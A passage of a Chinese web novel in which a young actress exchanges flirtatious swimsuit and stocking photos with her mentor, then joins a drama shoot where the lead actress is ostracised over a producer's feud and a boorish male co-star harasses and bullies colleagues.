祝星亦想了想，觉得不太好，“可是我这样对她干嘛？” 齐漫姝一副过来人的模样，“这就叫试探。我当初给我前任发了泳装照，她晚上就来找我了，亲口夸我身材真好……” 祝星亦眯着眼笑问：“泳装照啊？哈哈，给我也看看。” 齐漫姝拧了下祝星亦的脸，哼笑一声说：“我的泳装照我不想给你看，但是……你想看泳装照的话，可以问你的苏老师要。苏小姐身材那么好，肯定拍过不少，你有空问她要，看她给不给。” 祝星亦问：“她要是不给呢？” “不给就是害羞，肯定是喜欢你。” “她要是给呢？” “给你肯定是喜欢你，她都没发过泳装照微博，只发你的话，肯定是喜欢你。” 祝星亦撇嘴，“那我不问了。” “别啊。” 祝星亦抠手指头，“不太好，她在我心里是很神圣的形象，这样不好。” “嘁，什么神，什么高高在上。高岭之花就是用来玷污的，你这都不懂？”齐漫姝摇头叹息，“我前任……” “说来说去，你前任到底是谁啊？”祝星亦到现在都不知道齐漫姝的圈内前任是谁，问了几次也不说，神秘得很。 齐漫姝叹道：“这个就不提了，都是过去的事了，我祝她星途璀璨。” 她瘫在椅背上，脸上可见的沧桑，“以后我也会开启一段新恋情，反正我对她也没那么在乎了。” “不在乎了还经常提。” “你不懂，你要是跟我一样是过来人，你也会经常怀念她的好。” 祝星亦否认。 她可一点也不怀念晏瑾年的好，她巴不得晏瑾年去死。 齐漫姝拿了颗栗子剥着吃，“话说，你什么时候问苏小姐要泳装照，什么时候给她发黑丝啊？她在宁城，你在麓城，异地，不用感到尴尬。” 祝星亦嘟囔两声，说：“她总会回来的吧，那到时候怎么面对她？” “当然是随机应变，她对你那么好，不会找你麻烦的啦！” 祝星亦思绪万千。 陪齐漫姝试镜完，两人出去逛街。 齐漫姝执行能力太强，带着祝星亦挑了不同款式的黑丝。 买完单，齐漫姝勾着袋子递给祝星亦，眨了眨眼，“回去你就穿上，对镜自拍，多凹点姿势。” 祝星亦接过，有些羞涩，“我……我还是觉得不太妥。” 齐漫姝揽着祝星亦的脖子给她出主意，“你就先发她，然后说，老漫，你看我的黑丝好看不好看。这个时候，你的苏老师肯定发出疑问，之后你就说，哎呀不好意思啊苏老师，我本来要发给老漫的，结果发给你了。最后你就赶紧撤回，看她反应。” “这也太神经了吧。”祝星亦觉得这个主意不行，“好刻意，我不发。” “那你怎么清楚她对你的态度啊？”齐漫姝戳戳祝星亦脑袋，道她真是个木头。 祝星亦想，也是，她也没别的什么办法去试探。 晚上回去，祝星亦换上了黑丝，搭配了清凉的短裙和高跟鞋，化了漂亮的妆，学着齐漫姝发来的照片凹了几种姿势对镜自拍。 祝星亦身材极好，头身比例优越，胸腰臀突出完美，上身的衬衫紧紧贴着胸口，几乎要把胸前的扣子撑开。短裙只盖着臀部，黑丝箍到大腿中间，白皙的绝对领域实在诱人。细高跟踩在地板上，衬得她脖子以下全是腿。 拍了几张，她先发给齐漫姝。 齐漫姝：【（流口水）我去，这么sexy！简直不用P图了，这还拿不下她？】 祝星亦：【你这什么跟什么啊，我这样发给她不太行吧，这些发给她感觉很……不好】 齐漫姝：【发了马上撤回，就等于没发】 祝星亦：【我还是觉得不行……】 齐漫姝：【你不发我就发给她了哈，我已经存图了】 祝星亦：【别别，我发！】 嘴上这么说，祝星亦还是没有把照片发出去。 这种照片一发，岂不是破坏她和苏寄欢的关系？ 她还想在苏寄欢身边多待会儿呢。 已经晚上八点，祝星亦躺在床上翻来覆去，最终点开苏寄欢的聊天框。 祝星亦：【苏老师，你最近几天累不累？拍戏还忙吗？】 苏寄欢那边几乎秒回。 苏寄欢：【正好刚收工】 这下就由不得祝星亦吞吞吐吐了，由她发起的聊天，那可不能轻易终止。 想到齐漫姝给她出的几个主意，她硬着头皮继续聊天。 祝星亦：【苏老师，今天我陪老漫试镜去了，她表现不错，正在等通知，希望她能拿到那个角色】 苏寄欢：【周导那个剧的女二，漫姝是挺适合的，祝她成功】 祝星亦：【我也希望她成功，她第一次自己试镜喜欢的角色，这对她来说是个挑战和尝试】 打完字发出去，祝星亦脑海里都是齐漫姝的主意。 这时，齐漫姝的消息发来了。 齐漫姝：【黑丝发了吗？不发我替你发】 祝星亦：【刚要发，你别打岔】 齐漫姝：【等下把聊天记录发我】 祝星亦：【知道了】 点开相册，祝星亦犹豫许久，最终还是返回聊天框，继续和苏寄欢聊天。 祝星亦：【今天我跟老漫去逛街，看到有卖泳装的，但现在还冷得很，所以没买】 祝星亦：【我还没买过泳装呢，也不知道挑什么款式，苏老师有什么推荐的吗？】 苏寄欢：【有，你有喜欢的风格吗？】 看到这个回答，祝星亦意识到苏寄欢对泳装了解，马上接话。 祝星亦：【不太懂风格，没接触过】 说完，她没等到苏寄欢的回复。 奇怪，苏寄欢去忙了吗？ 她坐起身子紧盯着聊天界面。 等了会儿，她看到苏寄欢发来一条消息。 苏寄欢：【你看看我以前拍的照片，自己挑一挑喜欢的风格】 紧接着，十几张令人血脉贲张的泳装照发了过来。 全是苏寄欢的泳装照。 全是身材好到让人喷血的苏寄欢。 祝星亦低着头点开一张张照片看，眼睛瞪得跟灯泡似的，眨都没眨眼。 清晰的人鱼线，手臂线条堪称完美，身子高挑修长，曲线迷人。 苏寄欢的每张照片风格都不一样，有普通风格的泳衣，也有太过火辣的。 几根带子系着，丰盈让人忽视不了，简直波涛汹涌。 祝星亦放大苏寄欢的胸口看。 好……好圆，好……好……想……吃…… 两滴温热的红色的东西落到屏幕上，顺着角度往一旁流去。 祝星亦看看屏幕，摸摸鼻子。 不是吧！她流鼻血了！ 第58章 我进组了 祝星亦赶忙去床头拿卫生纸，她怎么流鼻血了？ 擦了会儿，祝星亦又拿起手机看苏寄欢的照片。 脸好热，越看越热，鼻血越流越多。 保存保存全保存。 祝星亦一一存了照片。 她早就知道苏寄欢身材好，之前也见过几次，只是每次都羞于抬头看。 这下苏寄欢主动发照片过来，她眼都移不开了。 放大，放大，再放大。 “苏老师身材怎么会这么好。”祝星亦边看边念叨。 苏寄欢的每张泳照都透着自信，性。感的身子丝毫没有讨好的媚态，只想让人欣赏，赞叹。这样对比下来，她自己拍的黑丝照就有点做作了。 那边齐漫姝又发信息问了。 齐漫姝：【黑丝照你发了没啊，赶紧的，再不发我发了啊】 祝星亦有点急，快速打字回复。 祝星亦：【我没发，但她发泳装照给我了】 齐漫姝：【看看】 祝星亦：【不给你看】 祝星亦：【她发了十几张，她什么意思啊？】 齐漫姝：【什么？十几张？这你都不给我看？偷吃！我们还是不是好盆友了！】 祝星亦：【你不是过来人吗？你快给我分析分析】 齐漫姝：【她有说什么吗？】 祝星亦：【她就说让我看看泳装款式，让我挑个喜欢的】 齐漫姝：【那你喜欢吗】 祝星亦摸摸自己还在流血的鼻子，还有烫得能煎鸡蛋的脑门儿，自言自语：“嗯，是，有点儿喜欢。” 祝星亦：【但这到底是什么意思啊？】 齐漫姝：【不然你问问她，你俩先继续聊天，到时候再看后续】 祝星亦只好继续跟苏寄欢聊天。 祝星亦：【苏老师的身材真好】 苏寄欢：【有喜欢的吗？】 祝星亦：【都挺好，挑不出来】 苏寄欢：【线下我帮你挑吧，这些都是以薇姐给我搭的，我也算是有点挑泳衣的经验，到时候给你挑些合适的】 祝星亦：【嗯，谢谢苏老师】 苏寄欢：【你拍完戏，我就带你挑，到时候我约你】 祝星亦：【好】 苏寄欢：【还有事，我先忙】 祝星亦：【嗯，苏老师再见】 祝星亦没有察觉到自己的嘴角翘到天上去了，齐漫姝的电话打来，她懒洋洋接下。 “咋回复的啊？”齐漫姝太想知道俩人聊天内容了。 祝星亦边看苏寄欢的泳照边笑着说：“没什么回复，就是她要带我挑泳装。” 齐漫姝想不明白了，“她……她这是什么意思啊？” “你都想不明白她是什么意思，我怎么知道？”祝星亦给鼻子换了点卫生纸，继续说：“这事儿就先不提了，我进组之后你一定要经常来看我。《四季》那个剧组，我虽然和李秀恩导演熟一点，但是那里面的演员我不太熟，女主余若，男主陆仁嘉，他俩我都不熟，而且我和他们都没见过呢。” “陆仁嘉？怎么那么耳熟？”齐漫姝想了会儿说，“是不是演了一个小短剧小火一把的那个啊？” “我没关注过，不清楚。” “我有听说过他这个人可大牌了，他的娱乐公司就他一个艺人，把他捧得可高了。而且他公司很会拉资源，什么好的都给他，真是让人眼红。” 祝星亦听出齐漫姝嘴里的酸味儿，“你眼红什么啊？你一个东霄大小姐签的华娱文化，比他公司好多了，你还眼红他这个小公司啊？” 齐漫姝躺在床上握着手机说：“我签华娱又怎么了？华娱有那么多艺人，我只是其中之一，我家里有钱是一回事儿，但我不温不火，华娱的重心都在其他艺人身上，虽然说我拍的电视剧也挺多的，但他们往我身上投的营销也不是很多，很多时候都是我自己营销自己。就之前那些关于我的cp，都是我自己剪视频做营销号发出来的。” 提到这个，齐漫姝叹气，“华娱的资源多，培养谁不是赚钱？但我赚的不够多，在内部的地位也不是很高，我根本就没有选择资源的权力，都是他们给我什么就要什么。要不是说我感谢你呢？你让我知道了自己去试镜也是一个法子，真要是等华娱给我一个我喜欢的角色，那真是等一辈子都等不到。” “但陆仁嘉不一样啊，他的公司酷趣娱乐，全方面为他着想，什么都给他，独苗苗，珍贵得不得了。”齐漫姝十分羡慕这种人，“但像我们这种人，等不到公司给我们东西，都得靠我们去争取一些机会。” “星星，我觉得你很棒。你都知道靠自己去争取机会，会帮自己的队友争取机会，也会教着自己的朋友去争取机会，有些人可是一辈子都不会替自己争取机会呢。”齐漫姝感叹，她说着，不免也为祝星亦感到担忧，“你这次进组可是危险非常啊，陆仁嘉大牌，余若又是个资源咖，你身为除主角之外的重要番位，万一……” “万一被欺负了？”祝星亦听出她想说什么。 “是啊。” “我又不傻，我被欺负了难道不会还手吗？” “行行，你要是被欺负了，一定得还回去！实在不行就喊我过去，我从剧组打飞的给你出气！” “一言为定！” “一言为定！”齐漫姝拍着床说，“对了，你那个新助理，我还没见过呢，她怎么样啊？” 祝星亦笑道：“她挺好的，你放心，比那个张静怡好一千倍。” /// “星亦，到了。” 地下停车场内，车子稳稳停下，白澜利落地拔下钥匙，齐肩的头发随着她的动作轻轻摆动，神色淡然，透着一股子干练劲儿。 她迅速解开安全带侧身打开车门，动作一气呵成，随后快步走到副驾驶一侧，伸手替还未起身的祝星亦挡住车门框上方，以防她磕到头，全程没多言语，却尽显贴心。 待祝星亦下车，白澜转身走向车尾打开后备厢拿行李，祝星亦见状也赶忙上前帮忙。 两人稍作整理便拖着行李朝酒店走去，她们入住的是一间loft，祝星亦住楼上，白澜住楼下。 空间布局正合心意，既方便照应，又各自保有独立空间。 祝星亦在楼上收拾妥当后，拿了瓶水下楼递给白澜，轻声道：“今天辛苦了。” 白澜目光迎上祝星亦，嘴角轻扬，简短吐出“谢谢”二字。 祝星亦像是想起什么，接着说：“前段时间咱俩都忙得脚不沾地，还没来得及带你去见苏老师呢，等拍完这部戏，我一定带你去，她人特别好，你见了就知道。” 白澜轻应两声，微微弯腰，抬手轻拍祝星亦肩头衣服上的浮尘，随后神色一正拿出行程表，开口便是公事公办的口吻：“我先跟你通一下接下来的安排，后天要去试妆，四天后是开机仪式……” 祝星亦站在一旁，安静听着，不时点头。 白澜是祝星亦精心筛选、风荇花高价聘请来的助理，做事细心负责、专业素养过硬，有她在旁，祝星亦诸事都放心。 到了晚上，两人来到餐厅，祝星亦示意白澜先点菜，笑着说：“我之前在这家连锁店吃过，酸汤鱼味道绝了，我先点上。” 白澜轻点下头，应道：“我也爱吃鱼。” 她接过菜单，加了两个菜，祝星亦也添了几样。 菜陆续上桌，祝星亦用公筷夹起一块鱼放到白澜碗里，热情推荐：“尝尝这个，蘸上料汁，味道更绝。” 白澜夹起鱼肉送入口中，咀嚼几下，点头赞道：“嗯，确实好吃。” 祝星亦看着白澜规规矩矩吃饭、做事一板一眼的样子，忍不住打趣：“白澜，我感觉你平时太拘谨啦，虽说你是我助理，可我更把你当亲密朋友，你以后多跟我唠唠嗑。” 白澜低头继续吃饭，闷声回：“我打小就话少，不过特爱听人讲事儿，你多说就行。” 祝星亦一琢磨，觉得也成，便应下：“行嘞，那我多讲讲。” 正说着，白澜手机里的群消息接连响起，她瞥了眼屏幕。 小茵：【我去，你爱豆给你夹菜啊，这么幸福！】 莉莉：【天啊，当明星助理还能被喂饭的吗？我也想当！】 可可：【小澜，你给你推当助理的这些日子感觉咋样啊？她好相处吗？她知道你是她钻石粉吗？】 白澜快速打字回复。 白澜：【她不知道，知道也没事，我有在好好工作】 莉莉：【能不能拍一下她啊，我知道她好漂亮呢】 白澜犹豫片刻，还是挑了张图发过去。 白澜：【这是我们今天入住酒店时我给她拍的，她夸我拍照好看，比上个助理好】 可可：【哈哈哈哈一看照片就流露着你满满的爱意！】 小茵：【天啊，她好漂亮啊啊啊啊啊！素颜也那么好看啊啊啊啊！白澜你太有福气了！】 莉莉：【呜呜呜想看你和她的爱情故事，闪亮亮的明艳爱豆和酷酷助理，我想磕！】 白澜看着这些消息，脸颊微微泛红，打下一句【别这样说，我先吃饭了】，便放下手机。 祝星亦又夹了一筷子菜递过来，说道：“这个你多吃点嘛，你不是喜欢吃虾？” 白澜夹起虾咬了一口，祝星亦瞧见，笑出声：“你咋不剥皮呀。” 说着，她戴上手套利落地给白澜剥起虾来。 白澜看着眼前这一幕，脸愈发红了，小声道谢：“谢谢你。” 祝星亦把剥好的虾放进她碗里，笑意盈盈：“慢慢吃，晚上咱们先去附近逛逛，熟悉熟悉环境。” 白澜点头应下：“嗯。” /// 祝星亦和李秀恩熟，也跟编剧痕痕交流多，剧本探讨相关，她便常找痕痕交流。 开机前剧组在高档餐厅里有个小聚，祝星亦没有太大的勇气跟那些人社交。毕竟这次不像上次《寄明月》剧组，事事都是苏寄欢带着她来。 有苏寄欢在，她什么都安心。苏寄欢不在，她总念着想着。 不过总要迈出那一步，祝星亦给自己鼓劲儿，便学着苏寄欢自信的姿态和制作组的人聊天。 “你好，你是演杨易颜的祝星亦吧。” 还没落座，一个扎着马尾的女生走过来跟祝星亦问好。 女生是淡颜，看起来很有学生气。 “你好。”祝星亦礼貌颔首，“你就是余若？” “我是我是，你好。”余若主动伸出手跟祝星亦问好，“我还是第一次线下见你呢，之前只在手机里看到你。手机里看着就很漂亮了，你真人比手机里更漂亮。” 余若笑起来眼睛眯着，穿着卡其色大衣，牛仔裤，像是一个高中生。 这个模样倒是很符合《四季》里温小暖的形象，甜美清新。 余若是妥妥的资源咖。 圈内的资源咖不少，流派也就两种，一种是钱，一种是权，余若算是权的那一派。 余若是房锦桐手里的艺人，房锦桐在很多年前是红遍大江南北的实力影后，后来担任某文艺组织主席，有了些权力。 房锦桐签了几个艺人，个个都是只演电视剧主角，以及热门电影的二番。 那些热门电影的主演都是非常抗票房的大腕儿，房锦桐的艺人去当二番，美美蹭了票房。有时候还能因为电影质量不错得奖，二番们还可以捡个奖得一得。 来之前苏寄欢嘱咐过祝星亦，和余若打交道面子上过得去就行，加之祝星亦演得又是配角，也不会抢余若的什么戏，安心演戏就好。至于社交什么的，苏寄欢希望祝星亦多研磨剧本和演技。 “那个剧里的人都是年轻人，社交的话，你和她们成为朋友未尝不可，但是我还是希望你多重视工作，同事毕竟只是同事。”苏寄欢说。 祝星亦也想着是这样，但是她问了一句：“可是苏老师，万一剧播出后我反响好，压了余若一头，那房锦桐那边……” 苏寄欢闻言笑了，“你对这个角色这么有信心？” “我是对我有信心，你不知道恶女人设很火吗？我又那么漂亮，演技在你的调。教下还算不错。演这么带感的恶女，怎么说也会有热度吧。”祝星亦撩了下发，明艳的五官尽显自信，“温小暖那个人设就是普通小白花人设，这个剧最多也就是男主关注度多，毕竟是爱蝻的世界。” 苏寄欢抿着唇认真看了看祝星亦，旋即弯着唇角道：“如果你能出圈，那恭喜你，你演了一个有商业价值的角色。至于房锦桐，这个倒不用管她，她只是喜欢动用权力让她的艺人当主角。只要番位上不压她的艺人，她是不会管这些事的。” “那也不能演这种普通的角色吧？这个剧本……温小暖的角色显然不太好。余若同公司的艺人都演正剧了，她还演这种青春剧啊？我看余若之前风格也不是这样的啊。” “这个……”苏寄欢挑眉，没说太多，“这个你不用管了，你进组安心演戏，保护好自己就行。” “你也很漂亮。”祝星亦礼貌寒暄，“晚上坐一起吗？我们应该在一桌吃饭。” “好啊好啊。”余若高兴地说着，“你是这个剧组第一个愿意跟我打招呼的演员呢。” 祝星亦有些纳闷，刚刚她已经和其他演员打了招呼了，怎么这个余若是个社恐吗？她竟然是她第一个打招呼的人。 不过祝星亦也没多想，寒暄几句等着落座用餐。 用餐期间，桌上的人交谈愉快。出乎意料，祝星亦和大家相处得都不错，倒是余若不怎么说话。 同一桌的陆仁嘉和大家相谈甚欢，笑着说着，祝星亦主动给余若敬酒。 “余若，接下来的两个月，请多关照了。”祝星亦举起酒杯。 余若有些受宠若惊，忙端起酒杯跟祝星亦敬酒，“嗯嗯，请多关照。” 祝星亦喝下酒，悄悄看余若。余若好像不是特别开心，笑都是勉强的，也很少有人主动跟她说话。 痕痕和李秀恩都会主动跟祝星亦说话，主演余若竟然很少被提起。 真是奇怪。 余若可是房锦桐的艺人，按理说不应该捧着这种强大的资源咖吗？连苏寄欢都嘱咐自己面子上要和余若过得去了，怎么那些人不怎么搭理余若呢？ 席间，祝星亦去洗手间。 她吃得不多，都是在聊天，出来洗洗手，一旁的是饰演杨易颜友人梅璃的徐思洁。俩人下午就见过了，打过招呼。 “你好啊祝星亦。”徐思洁礼貌跟祝星亦打招呼，“你跟李导她们在一间屋子是不是？” 祝星亦点头，“是啊，余若、陆仁嘉也都在。” 听到这俩名字，徐思洁皱起鼻子说：“你知道余若的事吗？” “她怎么了？”祝星亦嗅到一股不寻常的味道。 第59章 我推了她 徐思洁擦了擦手，带祝星亦去一个角落压低声音说：“余若不是房锦桐手里的艺人吗？咱这部片子的制片人尚小姐和房锦桐那可是有‘血海深仇’的。但房锦桐权力大，硬是把余若塞了进来。” “尚小姐真是反感死余若了，本来痕痕编剧选了一个女主角了，愣是被换掉了，李导也可不满意了。说实在的，这个女主是谁都行，就是不能是房锦桐的艺人。” “房锦桐你还不知道吗？资源咖中咖的老大，手里就那么几个艺人，愣是把好资源都拿下了。”徐思洁感叹一声，“这个余若也是倒霉咯，房锦桐喜欢这个剧本，就挑自己的艺人去演，挑来挑去就余若有档期，就让她进来了。可尚小姐非常讨厌房锦桐啊，提前和导演以及一些演员的公司通气了，摆明了是让我们不要搭理她啊！” “我来前我老板跟我说了这事了，我只能少跟余若接触，免得惹尚小姐不痛快。”徐思洁倍感无奈。 原来……是这样…… 难怪当初拜师宴上，李秀恩问祝星亦想不想演女主角，但苏寄欢礼貌帮她拒绝。后面李秀恩和苏寄欢目光交流，看来是因为这个事。 李秀恩想让祝星亦演女主，是希望苏寄欢和祝星亦去得罪房锦桐，换剧组和平。但苏寄欢不乐意这样做，只能作罢。 她又想到苏寄欢给她的嘱咐，和余若面子上过得去，少社交多工作…… 看来也是在提醒她啊。 但这种嘱咐好像是想要她做一个中立角色？ 徐思洁看祝星亦还在发愣，忙说：“你和她对手戏多，剧里前期要演好朋友，后期要雌竞，这还好，只有前期关系好点。你可不要跟她走太近啊，你和她关系不好，顶多只是和她关系不好。房锦桐可不管艺人的社交，跟余若关系差就差了，无人在意。” “可是你要是让尚小姐看到你和余若关系好，她肯定会记仇的。她最最讨厌房锦桐的艺人了，尚小姐以前也是演员出身，演了很多女主角，后来房锦桐带资进圈，压尚小姐一头，老是抢她主角，尚小姐一直怀恨在心。转制片人后，房锦桐又比尚小姐权力大，真是让尚小姐气得头疼。” “以后要是用餐时间，你就和我一起用餐，下班也是咱们一起下，别跟那个余若关系好。”徐思洁提醒祝星亦。 祝星亦沉吟片刻，“这么复杂啊，我知道了。” 讲完，徐思洁先走一步。 走出角落，祝星亦拿出手机想要问苏寄欢一两句话，字打出来了，没发出去。 总不能真的事事都得问苏寄欢，这种芝麻大的小事也要问的话，那自己和巨婴有什么区别？ 有时候她真的觉得苏寄欢在惯着她，有两人共同出席的活动，她总是跟在苏寄欢身边。苏寄欢走一步，她也走一步。 苏寄欢做了一些事，她便不用动手，就好像吃顿饭，她张着嘴，苏寄欢就把饭喂她嘴里了。 遇到些不认识的大人物，苏寄欢给别人介绍她，她就站出来跟别人打招呼。 往那一站，不用说什么，别人就认识她了。 也就苏寄欢不在的时候她才能通过自己去做一些事。 她倒不是讨厌这样，就是感觉，总感觉，不是通过自己获得的，成就感不是很大。 算了。 祝星亦想自己是身在福中不知福，有些人想要这样的机会都没有，而且她都主动去搭苏寄欢的船了，这还不要那要什么？ 难道要晏瑾年的[选择］和[机会］？ 祝星亦关掉手机不再想。 走了两步，她听到身后一阵脚步声。 她好奇地回头，看到余若低着头行走。 祝星亦停在原地等了会儿。 余若经过祝星亦，祝星亦正要打招呼，那人低了下头快步走远。 “哎，余……若……”祝星亦追了两步，没追上，只得放弃。 奇怪。 怎么刚刚还在说话聊天，现在又装不认识了？ 祝星亦回席间，落座后去找余若说话。 “余若，你刚刚……” “不好意思，我先回一下消息。”余若稍稍转过身子开始摆弄手机。 祝星亦哦了一声，静静等待余若回消息。 可惜直到饭局结束，余若都在摆弄手机。 众人出门，说说笑笑，嘈杂得不得了。 余若先一步出来，祝星亦跟着追上去想跟她说声话，人群把她冲到一旁，再仰头看，余若自己走出了餐厅大门。 天色已晚，祝星亦小跑着出门忘不见余若人影，只能放弃。 徐思洁在门口看到了祝星亦，忙打招呼，“祝星亦，要回酒店啦？” “嗯，要回去了。” 徐思洁歪着身子朝远处看了眼，说：“那个余若走了？” 祝星亦点头，“是啊，走得可快了。” 徐思洁：“管她呢，你也赶紧回去。” 祝星亦踏下阶梯，白澜背着包走过来，“星亦，走，回酒店了。” 也是，要赶紧回去休息，明天还要试妆呢。 她不再多想，坐车离开。 次日试妆，现代妆*和古代妆差别大，不费劲，祝星亦试了几个妆便拍完定妆照。 同样试完妆的徐思洁找到祝星亦，神秘兮兮地说：“哎哎，祝星亦，你知道余若昨天晚上被尚小姐问候了吗？” “问候？”祝星亦纳闷，“尚小姐对余若怎么了？” “我也不太清楚，我就是听说她回酒店的时候哭了。”徐思洁对这个小道消息一知半解，“我觉得可能也就是立个下马威什么的，咱也都知道，余若是房锦桐的艺人，尚小姐这么记仇，肯定是给余若一顿语言上的暴击。” 祝星亦忙问：“那你知道余若在哪吗？试妆的时候没见她。” “管她在哪里呢，今天中午吃什么饭啊？咱们要不吃那个椰子鸡？” 无人关心这件事，好像与所有人都无关。 高位者的斗争，要让底层的打工人承担后果。 惹了尚小姐的是房锦桐，而余若没惹剧组的任何一个人，剧组的人却因为尚小姐对余若不管不问。 道理她都懂，该惹谁不该惹谁，该做什么不该做什么，她都懂。 不过…… 祝星亦深吸一口气，笑说：“我助理已经帮我点好外卖了，我等一下回酒店吃。” 徐思洁见状点头，“也行也行，那我自己去吃了啊。” 待徐思洁走远，祝星亦喊来白澜。 她没加余若的微信，这种情况下，问谁谁都可能说不知道、不了解、不清楚。 “星亦，怎么了？”白澜问。 “我想找找余若。” 白澜昨天听祝星亦讲了余若的事，“但她不是……” “她是什么并不重要，现在最重要的是她在哪里。”祝星亦去找齐漫姝，问问齐漫姝有没有熟人有余若的微信。 齐漫姝还真是神通广大，马上找到了余若的微信。 祝星亦加上后马上发消息问余若在哪，对方说自己在吃饭。 祝星亦：【你在哪吃饭？】 余若没回复。 “星亦，先回酒店吧，你中午要吃什么？出去还是点外卖？”白澜问。 下午没什么行程，后天开机仪式后，拍摄正式启动。确认好应该执行的部分，剩下的时间白澜会为祝星亦安排好，确保她身心放松，更好地投入工作状态。 白澜打开美团看附近的美食，“你昨天不是说想吃烤肉吗？这家烤肉店好像还不错，我先买个券，等下……” “都行。”祝星亦找不到余若有点着急，从试妆酒店出来便漫无目的走了一会儿。 余若一直不回，祝星亦连发了几条都没用。打电话过去，那边不接。 白澜看她没什么头绪，只能劝她先回去，“星亦，她那么大个人了，身边又有助理跟着，跑不丢的。” 祝星亦这才停下脚步，对，也是，余若身边还有助理跟着。 前世祝星亦没有张静怡跟着，不管不问，她被剧组的人孤立也没人可以说话，一个人被丢在山上差点冻死，一个人吃饭做事，一个人被骂被嘲讽。 余若还有房锦桐这个有权有势的老板给资源，能演一番能蹭到好电影，而她自己前世当了晏瑾年的女朋友，拿到的还都是上不得台面的配角。 干嘛心疼别人呢？心疼自己还来不及。 祝星亦深吸一口气，点头，“好，不找她了，咱去吃烤肉。” 正式开拍那天，白澜带着大包小包跟祝星亦去剧组。 白澜带的东西多，出发前祝星亦说她简直要把家搬过来。 白澜拿出一些东西，说：“水杯、毯子、ipad、牛肉干、巧克力、抓夹……这些都是用得上的。” “行行，用得上。”祝星亦笑说。 有白澜在什么都不用操心，只需要认真工作就好了。不像张静怡在的时候，祝星亦什么都要管，还要到处找不知道跑去哪里偷懒的张静怡。 今天祝星亦只有一场戏，杨易颜和赵泽安在校园里偶遇，两人讨论家宴的事。 戏要放在下午拍了，看陆仁嘉还在闲着，祝星亦找他去对戏。 抱着剧本过去，祝星亦礼貌问好：“你好，咱现在要不对下戏吧，你……” “没时间。”陆仁嘉歪着身子坐在椅子上打游戏，“打野你干什么呢劁你大爷的狗玩意儿，还抢你爹的人头，滚一边儿去！” 陆仁嘉大声嚷嚷着，嘴里一句接一句的脏话。 上午陆仁嘉和余若有对手戏，也不见他去找余若对戏，来了剧组就开始打游戏。 这是什么工作态度？ “行，我先不和你对戏。”祝星亦平复情绪，抱着剧本俯视陆仁嘉，“不过马上就到你和余若拍了，你不和她对戏吗？” “跟她对戏？不是吧姑奶奶，你是没听说过她的事吗？”陆仁嘉看也不看祝星亦，边搓手机边嘲笑，“尚小姐会来现场亲自监督，这剧从开拍到结束，她都会看着，谁敢跟余若走得近？” “你演男主她演女主，戏都不对怎么演？”祝星亦纳闷儿了，再排挤余若也总得把本职工作做好吧。 屏幕上弹出[您已阵亡］，陆仁嘉烦闷地丢掉手机起身，他一脸不耐烦地瞪了眼祝星亦，毫不客气道：“我做什么工作关你屁事啊？你谁啊你？演个女配也对我指手画脚了？” 陆仁嘉打量祝星亦，讨厌祝星亦爱管闲事是一回事儿，他倒是没见过这么漂亮的人演女配。 女团爱豆最靓的就是身体了，更何况脸蛋儿还这么漂亮。陆仁嘉哼笑一声：“怎么？你在剧里演暗恋我的人，在剧外也暗恋我啊？” 说着，他挂机，返回到主界面点开自己的微信二维码，“加我微信，晚上聊聊。” 祝星亦右侧的眉毛像被一根无形的线陡然拉起，挑得老高。她皱着鼻子，鼻翼微微翕动。 什么味儿，这么臭？ “哦，不好意思，我没有手机，也没有微信。”祝星亦启唇，声音不带一丝温度，她抱紧怀中剧本，侧身的动作干脆决绝，“既然你不愿意对戏，那就不对，我就当到时候拍摄时是在跟空气讲话。” 祝星亦打量了下陆仁嘉，要演技没演技，要长相没长相，长得跟个青蛙似的，这都能演男主。 一个个对女艺人的要求那么高，到男艺人这里都没要求了？ 祝星亦瞥他一眼快步逃离。 如果不是因为演戏的职责所在，祝星亦根本就不想多看这个男的一眼。 真是令人作呕。 陆仁嘉看着祝星亦快速离开的背影，正欲暴跳如雷、张嘴回怼，刚走过来的肖旺眼疾手快，一把拽住他胳膊满脸堆笑：“哎哎，老陆，消消气，别跟这丫头一般见识。” 劳礼也晃悠着身子凑过来接腔：“老陆啊，我看你在这行还是混的时间太短了，一点都不懂这娱乐圈的水深水浅。你知道她的背景吗？你在这儿莽撞行事，小心哪天被人使了绊子都不知道。” 陆仁嘉却像被点着的炮仗，梗着脖子满脸不屑：“不就是风荇出来又被艺域运营的小艺人嘛，那风荇本就是个名不见经传的小公司，她祝星亦在艺域还指不定怎么低声下气求资源呢，到我跟前倒端起架子来了，真当自己是腕儿啦！” 肖旺故作深沉地长叹一声，抬手拍拍陆仁嘉肩膀，摇头晃脑道：“老陆啊老陆，你这消息可太不灵通咯，她可是苏寄欢的学生呐，苏寄欢！苏寄欢诶，[苏盛］的老大，她随便拿出点资源，都够捧祝星亦好几回了。” 陆仁嘉眉头拧成个麻花，满脸疑惑与不甘，追问道：“啥时候攀的这高儿枝啊？我咋一点风声没听到。” 劳礼双手抱胸，撇着嘴，瓮声瓮气地说：“有一段时间了，还开了拜师宴，圈子里的大名人都去了。你看这背景硬不硬？你想想，有这硬茬当靠山，你还是收敛着点。” 肖旺咂咂嘴，眼睛滴溜溜转，“这种人还是少招惹，苏寄欢可是圈子里顶端那层人，我听说她今年博士毕业，是不是啊？” 劳礼点头，“是啊。” 陆仁嘉却冷哼一声，脖子一挺，满脸的固执：“她是博士又咋啦？我可是男士！不说别的，苏寄欢要是真有能耐，那祝星亦为什么不演主角啊？为什么还要演这个配角？还背景硬……呵，我还不信她能一手遮天了！” 说罢，还恶狠狠地剜了祝星亦的背影一眼。 那边祝星亦坐到自己的小凳子上，踢了一脚空气。 要不是因为答应苏寄欢不能莽撞，祝星亦真恨不得给那陆仁嘉一耳刮子。 下午拍戏的时候祝星亦用心表演，只当身边是空气。对视戏份，祝星亦自动虚焦视线，开拍就进入状态，一喊卡马上冷脸。 陆仁嘉倒是不死心，撵着祝星亦问她要微信。 祝星亦充耳不闻。 连拍几天，祝星亦身心俱疲。 余若不理她，又得在陆仁嘉面前装瞎，憋都要憋死她了。 身边顶多就徐思洁正常点儿，不过徐思洁每天都八卦这个八卦那个，吵得她每天都想戴耳机。 好煎熬。 “昨天陆仁嘉对余若好过分啊，不过也没人管，要说也是，尚小姐就在那边坐着，谁敢管啊？”徐思洁念叨。 祝星亦没觉得昨天发生什么事了，问：“什么过分？我怎么不知道？” “那场戏你不在。”徐思洁找到话匣子，马上跟祝星亦说：“昨天不是拍操场的戏吗？余若要拍被球打到的戏份，陆仁嘉就一直拿球打余若，打几次不行，一直在那里打，还说他觉得打的角度不满意，就导致余若一个下午都在那里被球打。” 